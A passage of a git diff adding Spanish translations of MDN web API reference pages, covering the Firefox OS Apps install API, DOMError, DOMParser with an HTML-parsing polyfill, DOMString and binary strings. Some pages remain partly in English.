+<p>Se espera a las personas que llaman para establecer las propiedades de devolución <code>onsuccess</code> y <code>onerror</code> del objeto devuelto, como se muestra en este ejemplo. Si la llamada se realiza correctamente un array de <a href="/en-US/docs/Web/API/App"><code>App</code> objects</a> se devuelve en la propiedad <code>result</code> del objeto devuelto. En el ejemplo esto es <code>request.result</code>.</p>
+<h2 id="Errores">Errores</h2>
+<p>La cadena <code>ERROR</code> puede ser devuelta en <code>DOMRequest.error</code>.</p>
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/App"><code>App</code> object</a></li>
+ <li><a href="/en-US/docs/Web/Apps/JavaScript_API">Apps JavaScript API</a></li>
+</ul>
diff --git a/files/es/web/api/domapplicationsregistry/index.html b/files/es/web/api/domapplicationsregistry/index.html
new file mode 100644
index 0000000000..e9d68ecf20
--- /dev/null
+++ b/files/es/web/api/domapplicationsregistry/index.html
@@ -0,0 +1,89 @@
+---
+title: DOMApplicationsRegistry
+slug: Web/API/DOMApplicationsRegistry
+tags:
+  - API
+  - Apps
+  - B2G
+  - Firefox OS
+  - No estandar
+  - Referencia
+translation_of: Archive/Marketplace/API/DOMApplicationsRegistry
+---
+<p>{{ ApiRef("Apps") }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>Provides support for installing, managing, and controlling Open Web apps in a browser. Currently implemented as {{ domxref('window.navigator.mozApps') }}.</p>
+
+<h2 id="Propiedad">Propiedad</h2>
+
+<dl>
+ <dt>{{domxref("DOMApplicationsRegistry.mgmt")}}</dt>
+ <dd>Un objeto <code>mgmt</code> que define funciones que le permiten a los tableros manejar y arrancar apps  a favor del usuario.</dd>
+</dl>
+
+<h2 id="Metodos">Metodos</h2>
+
+<dl>
+ <dt>{{ domxref("DOMApplicationsRegistry.checkInstalled()") }}</dt>
+ <dd>Verifica cuando una app se ha instalado tomando el manifiesto como su parametro.</dd>
+ <dt>{{ domxref("DOMApplicationsRegistry.install()") }}</dt>
+ <dd>Desencade la instalación de una app. Durante el proceso de instalación, la app es validada y se le pregunta al usuario si desea aprovar la instalación.</dd>
+ <dt>{{ domxref("DOMApplicationsRegistry.getSelf()") }}</dt>
+ <dd>Returna un objeto que contiene un {{ domxref('app') }} para la app.</dd>
+ <dt>{{ domxref("DOMApplicationsRegistry.getInstalled()") }}</dt>
+ <dd>Obtine una lista de todas las apps instaladas.</dd>
+</dl>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>16.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>16.0</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/es/web/api/domapplicationsregistry/install/index.html b/files/es/web/api/domapplicationsregistry/install/index.html
new file mode 100644
index 0000000000..56f18e777b
--- /dev/null
+++ b/files/es/web/api/domapplicationsregistry/install/index.html
@@ -0,0 +1,90 @@
+---
+title: Apps.install
+slug: Web/API/DOMApplicationsRegistry/install
+translation_of: Archive/Marketplace/API/DOMApplicationsRegistry/install
+---
+<div>
+ {{ ApiRef() }} {{non-standard_header}}</div>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Activa la instalación de una aplicación. Durante este proceso la aplicación es validada y el usuario se le solicita aprovar la instalación .</p>
+<p>Si la aplicación estaba previamente instalada desde el mismo dominio, llamando <code>install()</code>otra vez puede silenciosamente reescribir los datos de instalación. This can be used to modify the purchase receipt, for example, when a user upgrades from a free app to a premium app.</p>
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+<pre class="syntaxbox"><code>var <em>request</em> = window.navigator.mozApps.install(<em>url</em>, <em>[receipt1, …]</em>)</code>;</pre>
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+<div class="note">
+ <strong>Note:</strong> There is currently (May 2012) a bug with passing a relative path in the <code>url</code> parameter. See {{ Bug("745928") }}.</div>
+<dl>
+ <dt>
+  <code>url</code></dt>
+ <dd>
+  A <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> URL containing the location of the <a href="/en-US/docs/Web/Apps/Manifest">manifest</a> to be installed. In the case of self distribution (where the installing origin is the same as the app origin), the installing site may omit the origin part of the URL and provide an absolute path (beginning with <code>/</code>).</dd>
+ <dt>
+  <code><strong>receipts</strong></code></dt>
+ <dd>
+  (Optional) An array of one or more receipts. Example:</dd>
+ <dd>
+  <pre>window.navigator.mozApps.install(url, ["receipt"])</pre>
+ </dd>
+ <dd>
+  If <code>receipts</code> is omitted it is treated as <code>null</code>. For more information see <a href="/en-US/docs/Web/Apps/Publishing/Validating_a_receipt">Validating a receipt</a>.</dd>
+</dl>
+<p>The <code>install()</code> function throws an exception if the required argument (<code>url</code>) is missing, or if unsupported arguments are present.</p>
+<h2 id="Returns" name="Returns">Returns</h2>
+<p>The <code>install()</code> function returns a {{ domxref("DOMRequest") }} object. The <code>DOMRequest.result</code> field contains an <a href="/en-US/docs/Web/API/App"><code>App</code> object</a>, which is a JavaScript object that describes the app that was just installed. Before the operation is finished, <code>DOMRequest.result</code> is <code>null</code>.</p>
+<p>If the installation is not successful, <code>DOMRequest.error</code> contains a <a href="/en-US/docs/Web/Apps/JavaScript_API/Error_object"><code>DOMError</code> object</a>, which has information about the error.</p>
+<h2 id="Example" name="Example">Example</h2>
+<p>An example that shows how to use <code>install()</code> with the <code>DOMRequest.onsuccess</code> and <code>DOMRequest.onerror</code> callback properties.</p>
+<pre class="brush: js">var request = window.navigator.mozApps.install(manifestUrl);
+request.onsuccess = function () {
+  // Save the App object that is returned
+  var appRecord = this.result;
+  alert('Installation successful!');
+};
+request.onerror = function () {
+  // Display the error information from the DOMError object
+  alert('Install failed, error: ' + this.error.name);
+};
+</pre>
+<p>The <code>onsuccess</code> callback is called if the installation is successful. This means that the installation actions described <a href="/en-US/docs/Web/Apps/Platform-specific_details">here</a> have occurred.</p>
+<p>If the installation is not successful the <code>onerror</code> callback is called. On a failed installation, <code>DOMRequest.error</code> contains a <code>DOMError</code> object that has information about the error.</p>
+<p>The code above may look unusual to you, with listeners being added after the function has already been invoked. However, this is the way the <code>DOMRequest</code> object operates. The function invocation will wait until the listeners are defined, and then the listeners will fire appropriately. The <code>install()</code> function also works by itself, without the <code>.onsuccess</code> and <code>.onerror</code> listeners.</p>
+<h2 id="Error" name="Error">Errors</h2>
+<p>When the installation is unsuccessful, one of the following errors can be returned in <code>DOMRequest.error</code>.</p>
+<dl>
+ <dt>
+  <code>DENIED</code></dt>
+ <dd>
+  The user cancelled the installation.</dd>
+ <dt>
+  <code>INVALID_MANIFEST</code></dt>
+ <dd>
+  The manifest, while well-formed JSON, does not have some required field or is somehow invalid.</dd>
+ <dt>
+  <code>MANIFEST_URL_ERROR</code></dt>
+ <dd>
+  Something other than an HTTP 200 status code was received, or some connection errors.</dd>
+ <dt>
+  <code>MANIFEST_PARSE_ERROR</code></dt>
+ <dd>
+  Bad JSON in the manifest.</dd>
+ <dt>
+  <code>NETWORK_ERROR</code></dt>
+ <dd>
+  Connection error.</dd>
+ <dt>
+  <code>REINSTALL_FORBIDDEN</code></dt>
+ <dd>
+  Reinstalls of apps are forbidden.</dd>
+ <dt>
+  <code>MULTIPLE_APPS_PER_ORIGIN_FORBIDDEN</code></dt>
+ <dd>
+  Installable apps have a "single app per origin" security policy; basically, you can't host more than one installable app per origin.</dd>
+</dl>
+<h2 id="Related_topics" name="Related_topics">Related topics</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/Apps/Publishing/Validating_a_receipt">Validating a receipt</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Platform-specific_details">Platform-specific details</a></li>
+ <li><a href="/en-US/docs/Web/API/App">App object</a></li>
+ <li><a href="/en-US/docs/Web/API/DOMError">DOMError object</a></li>
+ <li><a href="/en-US/docs/Web/Apps/JavaScript_API">Apps JavaScript API</a></li>
+</ul>
diff --git a/files/es/web/api/domapplicationsregistry/installpackage/index.html b/files/es/web/api/domapplicationsregistry/installpackage/index.html
new file mode 100644
index 0000000000..c269240c60
--- /dev/null
+++ b/files/es/web/api/domapplicationsregistry/installpackage/index.html
@@ -0,0 +1,36 @@
+---
+title: Apps.installPackage
+slug: Web/API/DOMApplicationsRegistry/installPackage
+translation_of: Archive/Marketplace/API/DOMApplicationsRegistry/installPackage
+---
+<div>
+ {{ApiRef}} {{non-standard_header}}</div>
+<h2 id="Resumen">Resumen</h2>
+<p>Instala una <a href="/en-US/docs/Apps/Packaged_apps">aplicación empaquetada</a>.</p>
+<div class="warning">
+ Solo disponible en Firefox OS.</div>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">installPackage: function(aURL[, aParams])</pre>
+<h3 id="Parametros">Parametros</h3>
+<ul>
+ <li><code>receipts</code>: Será utilizado para especificar los recibos de pago para esta instalación.</li>
+ <li><code>categories</code>: Será utilizado para especificar las categorías de la aplicación web.</li>
+</ul>
+<h2 id="Resultados">Resultados</h2>
+<dl>
+ <dt>
+  <code>aURL</code></dt>
+ <dd>
+  El URL del paquete de aplicación a instalar. Esta debe ser una URL completa y absoluta.</dd>
+ <dt>
+  <code>aParams</code></dt>
+ <dd>
+  Opcionalmente, un objeto con información adicional:</dd>
+ <dt>
+  <code>DOMRequest</code></dt>
+</dl>
+<h2 id="Véase_también">Véase también</h2>
+<ul>
+ <li>{{domxref("Apps.install()")}}</li>
+ <li><a href="/en-US/docs/Apps/Apps_JavaScript_API">Apps JavaScript API</a></li>
+</ul>
diff --git a/files/es/web/api/domerror/index.html b/files/es/web/api/domerror/index.html
new file mode 100644
index 0000000000..d0768d0b41
--- /dev/null
+++ b/files/es/web/api/domerror/index.html
@@ -0,0 +1,130 @@
+---
+title: DOMError
+slug: Web/API/DOMError
+translation_of: Web/API/DOMError
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La interfaz <strong><code>DOMError</code></strong> describe un objeto de error que contiene un nombre de error.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("DOMError.name")}} {{readOnlyInline}}</dt>
+ <dd>Devuelve un {{ domxref("DOMString") }} representando uno de los tipos de errores listados a continuación.</dd>
+</dl>
+
+<h2 id="Tipos_de_errores">Tipos de errores</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Type</td>
+   <td>Description</td>
+  </tr>
+  <tr>
+   <td><code>IndexSizeError</code></td>
+   <td>Indice fuera de rango (Ej:. en un objeto {{ domxref("range") }}).</td>
+  </tr>
+  <tr>
+   <td><code>HierarchyRequestError</code></td>
+   <td>El árbol de jerarquías del nodo no es correcto.</td>
+  </tr>
+  <tr>
+   <td><code>WrongDocumentError</code></td>
+   <td>El objeto está en un {{ domxref("document") }} incorrecto.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidCharacterError</code></td>
+   <td>El string contiene caracteres inválidos.</td>
+  </tr>
+  <tr>
+   <td><code>NoModificationAllowedError</code></td>
+   <td>El objeto no puede modificarse.</td>
+  </tr>
+  <tr>
+   <td><code>NotFoundError</code></td>
+   <td>El objeto no puede hallarse.</td>
+  </tr>
+  <tr>
+   <td><code>NotSupportedError</code></td>
+   <td>La operación no está permitida/soportada.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>El objeto está inválido.</td>
+  </tr>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>El string no coincide con el patrón dado.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidModificationError</code></td>
+   <td>El objeto no puede modificarse de esta manera.</td>
+  </tr>
+  <tr>
+   <td><code>NamespaceError</code></td>
+   <td>La operación no está permitida por Namespaces de XML.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidAccessError</code></td>
+   <td>El objeto no soporta la operación o el argumento.</td>
+  </tr>
+  <tr>
+   <td><code>TypeMismatchError</code></td>
+   <td>El tipo de objeto no es el esperado.</td>
+  </tr>
+  <tr>
+   <td><code>SecurityError</code></td>
+   <td>La operación es insegura.</td>
+  </tr>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Error de red.</td>
+  </tr>
+  <tr>
+   <td><code>AbortError</code></td>
+   <td>La operación fue abortada.</td>
+  </tr>
+  <tr>
+   <td><code>URLMismatchError</code></td>
+   <td>La URL dada no coincide con otra URL a comparar.</td>
+  </tr>
+  <tr>
+   <td><code>QuotaExceededError</code></td>
+   <td>La quota ha sido excedida.</td>
+  </tr>
+  <tr>
+   <td><code>TimeoutError</code></td>
+   <td>La operación ha alcanzado su timeout.</td>
+  </tr>
+  <tr>
+   <td><code>InvalidNodeTypeError</code></td>
+   <td>El nodo (o uno de sus antecedentes) es incorrecto.</td>
+  </tr>
+  <tr>
+   <td><code>DataCloneError</code></td>
+   <td>El objeto no puede clonarse.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+
+
+<p>{{Compat("api.DOMError")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{ spec("http://www.w3.org/TR/dom/#interface-domerror", "DOM 4 DOMError specification", "WD") }}</li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{ domxref("DOMException") }}</li>
+</ul>
diff --git a/files/es/web/api/domparser/index.html b/files/es/web/api/domparser/index.html
new file mode 100644
index 0000000000..983d989f3e
--- /dev/null
+++ b/files/es/web/api/domparser/index.html
@@ -0,0 +1,227 @@
+---
+title: DOMParser
+slug: Web/API/DOMParser
+translation_of: Web/API/DOMParser
+---
+<p>{{APIRef("DOM")}}{{SeeCompatTable}}</p>
+
+<p><code>DOMParser</code> puede analizar gramaticalmente (parsear, en adelante) código XML o HTML almacenado en una cadena de texto y convertirlo en un <a href="/es/docs/Web/API/Document">Documento</a> DOM. <code>DOMParser</code> está especificado en <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a>.</p>
+
+<p>Tener en cuenta que <a href="/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a> soporta parsear XML y HTML desde recursos direccionables por URL.</p>
+
+<h2 id="Creando_un_DOMParser">Creando un DOMParser</h2>
+
+<p>Para crear un objeto <code>DOMParser </code>simplemente usar <code>new DOMParser()</code>.</p>
+
+<p>Para más información sobre crear un objeto <code>DOMParser</code> en extensiones Firefox, por favor vea la documentación de <a href="/en-US/docs/nsIDOMParser" title="nsIDOMParser"><code>nsIDOMParser</code></a>.</p>
+
+<h2 id="Parseando_XML">Parseando XML</h2>
+
+<p>Una vez creado el objeto parseador, puedes parsear XML desde una cadena de texto usando el método <code>parseFromString:</code></p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+</pre>
+
+<h3 id="Error_handling" name="Error_handling">Manejo de errores</h3>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Es importante tener en cuenta que si el proceso de parseado falla, actualmente </font>DOMParser</code> no arroja una excepción, pero devuelve en cambio un documento de error (see {{Bug(45566)}}):</p>
+
+<pre class="brush:xml">&lt;parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"&gt;
+(error description)
+&lt;sourcetext&gt;(a snippet of the source XML)&lt;/sourcetext&gt;
+&lt;/parsererror&gt;
+</pre>
+
+<p>Los errores de parseo son reportados también a la <a href="/en-US/docs/Consola_de_errores">Consola de errores</a>, con el URI del documento (ver debajo) como el origen del error.</p>
+
+<h2 id="Parseando_un_documento_SVG_o_HTML">Parseando un documento SVG o HTML</h2>
+
+<p>El <code>DOMParser</code> puede ser usado para parsear un documento SVG {{geckoRelease("10.0")}} o un documento HTML{{geckoRelease("12.0")}}. Hay 3 resultados diferentes posibles, dependiendo del tipo MIME dado. Si el tipo del MIME es <code>text/xml</code>, el objeto resultante será un <code>XMLDocument</code>, si el tipo MIME es <code>image/svg+xml</code> será un <code>SVGDocument,</code> y si el tipo MIME es <code>text/html</code> será un <code>HTMLDocument</code>.</p>
+
+<pre class="brush: js">var parser = new DOMParser();
+var doc = parser.parseFromString(stringContainingXMLSource, "application/xml");
+// returns a Document, but not a SVGDocument nor a HTMLDocument
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingXMLSource, "image/svg+xml");
+// returns a SVGDocument, which also is a Document.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html");
+// returns a HTMLDocument, which also is a Document.
+</pre>
+
+<h3 id="Extensión_HTML_DOMParser_para_otros_navegadores">Extensión HTML DOMParser para otros navegadores</h3>
+
+<pre class="brush: js">/*
+ * DOMParser HTML extension
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var
+	  proto = DOMParser.prototype
+	, nativeParse = <span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString</span>
+	;
+
+	// Firefox/Opera/IE throw errors on unsupported types
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	<span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString = function(markup, type) {</span>
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('&lt;!doctype') &gt; -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return <span style="font-size: 1rem;">nativeParse</span><span style="font-size: 1rem;">.apply(this, arguments);</span>
+		}
+	};
+}(DOMParser));
+</pre>
+
+<h3 id="DOMParser_de_ChromeJSMXPCOMPrivileged_Scope">DOMParser de Chrome/JSM/XPCOM/Privileged Scope</h3>
+
+<p>Ver artículo aquí: <a href="/en-US/docs/nsIDOMParser">nsIDOMParser</a></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#the-domparser-interface', 'DOMParser')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(8)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(10.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatChrome(30)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(12.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(17)}}</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(10.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(12.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"> </h2>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Parsing and serializing XML</a></li>
+ <li><a href="/en-US/docs/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a></li>
+ <li><a href="/en-US/Add-ons/Code_snippets/HTML_to_DOM">Parsing HTML to DOM</a></li>
+</ul>
diff --git a/files/es/web/api/domstring/cadenas_binarias/index.html b/files/es/web/api/domstring/cadenas_binarias/index.html
new file mode 100644
index 0000000000..a52358f62c
--- /dev/null
+++ b/files/es/web/api/domstring/cadenas_binarias/index.html
@@ -0,0 +1,31 @@
+---
+title: Cadenas binarias
+slug: Web/API/DOMString/Cadenas_binarias
+tags:
+  - Arreglos tipados JavaScript
+  - Cadena
+  - Cadena de caracteres
+  - DOM
+  - JavaScript
+  - Referencia
+  - String
+translation_of: Web/API/DOMString/Binary
+---
+<p>{{jsxref("String", "Cadenas JavaScript")}} son cadenas codificadas en UTF-16. Esto significa que cada unidad de código requiere dos bytes de memoria y puede representar <code>65535</code> puntos de código diferentes. Un subconjunto de estas cadenas está representado por cadenas UTF-16 que contienen solo caracteres ASCII (es decir, caracteres cuyo punto de código no excede <code>127</code>). Por ejemplo, la cadena <code>"¡Hola mundo!"</code> pertenece al subconjunto ASCII, mientras que la cadena <code>"ÀÈÌÒÙ"</code> no. Una <strong>cadena binaria</strong> es un concepto similar al subconjunto ASCII, pero en lugar de limitar el rango a <code>127</code>, permite hasta <code>255</code> puntos de código. Sin embargo, su propósito no es representar caracteres, sino datos binarios. El tamaño de los datos así representados es el doble de lo que sería en formato binario normal, sin embargo, esto no será visible para el usuario final, ya que la longitud de las cadenas de JavaScript se calcula usando dos bytes como unidad.</p>
+
+<p>Las cadenas binarias no forman parte del diseño del lenguaje JavaScript. Sin embargo, al menos una función nativa requiere cadenas binarias como entrada, {{domxref("WindowBase64.btoa", "btoa()")}}: invocarla en una cadena que contiene puntos de código mayores de <code>255</code> causará un error <code>Caracter fuera de rango</code>.</p>
+
+<p>La razón que llevó al uso de unidades de código UTF-16 como marcadores de posición para los números <code>uint8</code> es que a medida que las aplicaciones web se vuelven cada vez más poderosas (agregando funciones como manipulación de audio y video, acceso a datos sin procesar usando WebSockets, y así sucesivamente) ha quedado claro que hay ocasiones en las que sería útil que el código JavaScript pudiera manipular rápida y fácilmente datos binarios sin procesar.</p>
+
+<p>En el pasado, esto se tenía que simular tratando los datos sin procesar como <a href="https://developer.mozilla.org/es/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String">string</a> y utilizar el método <a href="https://developer.mozilla.org/es/docs/JavaScript/Reference/Global_Objects/String/charCodeAt" title="JavaScript/Reference/Global_Objects/String/charCodeAt"><code>charCodeAt()</code></a> para leer los bytes del búfer de datos (es decir, usando cadenas binarias). Sin embargo, esto es lento y propenso a errores, debido a la necesidad de múltiples conversiones (especialmente si los datos binarios en realidad no son datos en formato de bytes, sino, por ejemplo, enteros de 32 bits o flotantes).</p>
+
+<p>Los <a href="/es/docs/Web/JavaScript/Typed_arrays" title="/es/docs/Web/JavaScript/Typed_arrays">arreglos tipados en JavaScript</a> proporcionan un mecanismo para acceder a datos binarios sin procesar mucho más eficientemente. La API de <a href="/es/docs/Web/JavaScript/Typed_arrays/StringView" title="/es/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" title="Esta API no es nativa"> cuyo constructor no es nativo</span> está un nivel por encima de los arreglos tipados y proporciona una interfaz para cadenas similar a la de <a class="external" href="http://en.wikipedia.org/wiki/C_(lenguaje_de_programación)">C</a>.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Typed_arrays" title="/es/docs/Web/JavaScript/Typed_arrays">Arreglos tipados</a></li>
+ <li><a href="/es/docs/Web/API/DOMString" title="/es/docs/Web/API/DOMString/Binary"><code>DOMString</code></a></li>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Global_Objects/String" title="/es/docs/Web/API/DOMString">String</a></li>
+ <li><a href="/es/docs/Web/JavaScript/Typed_arrays/StringView" title="/es/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code></a></li>
+</ul>
diff --git a/files/es/web/api/domstring/index.html b/files/es/web/api/domstring/index.html
new file mode 100644
index 0000000000..3809094105
--- /dev/null
+++ b/files/es/web/api/domstring/index.html
@@ -0,0 +1,60 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+tags:
+  - API
+  - DOM
+  - Referencia
+  - Referencia DOM Gecko
+  - Referência DOM
+  - String
+  - WebAPI
+translation_of: Web/API/DOMString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>DOMString</code></strong> es un String UTF-16. Dado que JavaScript ya usa estos strings, se mapea <code>DOMString</code> directamente a {{jsxref("String")}}.</p>
+
+<p>Pasarle <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code> a un método o parámetro que acepte un<code>DOMString</code> suele convertirse a texto como <code>"null"</code>.</p>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Reescritura de la definición que elimina casos extraños.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambios desde {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambios desde {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li>{{domxref("USVString")}}</li>
+ <li>{{domxref("CSSOMString")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/String_view" title="/en-US/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code> – una representación en C de los strings basados en arrays tipados</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">Strings binarios</a></li>
+</ul>
diff --git a/files/es/web/api/dragevent/index.html b/files/es/web/api/dragevent/index.html
new file mode 100644
index 0000000000..8599ef6b93
--- /dev/null
+++ b/files/es/web/api/dragevent/index.html
@@ -0,0 +1,110 @@
+---
+title: DragEvent
+slug: Web/API/DragEvent
+tags:
+  - API
